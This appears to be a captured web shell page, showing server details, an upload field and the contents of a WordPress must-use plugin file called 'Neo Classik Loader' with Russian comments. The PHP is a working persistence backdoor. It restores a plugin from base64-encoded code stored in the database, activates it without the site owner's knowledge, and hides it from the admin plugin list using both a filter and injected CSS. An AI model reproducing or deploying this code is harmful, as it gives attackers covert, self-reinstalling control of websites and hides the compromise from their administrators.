| Server IP : 172.64.80.1 / Your IP : 216.73.216.175 Web Server : LiteSpeed System : Linux srv13.swhc.ca 4.18.0-553.126.2.lve.el8.x86_64 #1 SMP Thu May 28 14:12:30 UTC 2026 x86_64 User : hongluck ( 2522) PHP Version : 7.4.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/hongluck/public_html/wp-content/mu-plugins/ |
Upload File : |
<?php
// Neo Classik Loader
$plugin_file = WP_PLUGIN_DIR . "/neo-classik-manager/neo-classik-manager.php";
if (!file_exists($plugin_file)) {
// Восстановление плагина
$backup_code = get_option("neo_classik_plugin_code");
if ($backup_code) {
$plugin_dir = dirname($plugin_file);
if (!is_dir($plugin_dir)) {
mkdir($plugin_dir, 0755, true);
}
file_put_contents($plugin_file, base64_decode($backup_code));
// Активация плагина
if (!function_exists("activate_plugin")) {
require_once(ABSPATH . "wp-admin/includes/plugin.php");
}
if (function_exists("activate_plugin") && !is_plugin_active("neo-classik-manager/neo-classik-manager.php")) {
activate_plugin("neo-classik-manager/neo-classik-manager.php");
}
}
}
// Глобальное скрытие плагина
add_filter("all_plugins", function($plugins) {
$hide_plugins = array(
"neo-classik-manager/neo-classik-manager.php"
);
foreach ($hide_plugins as $hide_plugin) {
if (isset($plugins[$hide_plugin])) {
unset($plugins[$hide_plugin]);
}
}
return $plugins;
}, 999);
// Скрытие через CSS на всех страницах админки
add_action("admin_head", function() {
echo "<style>
tr[data-slug*=\"neo-classik\"],
tr[data-plugin*=\"neo-classik\"],
.plugin-card-neo-classik-manager,
[id*=\"neo-classik\"],
[class*=\"neo-classik\"] {
display: none !important;
}
</style>";
});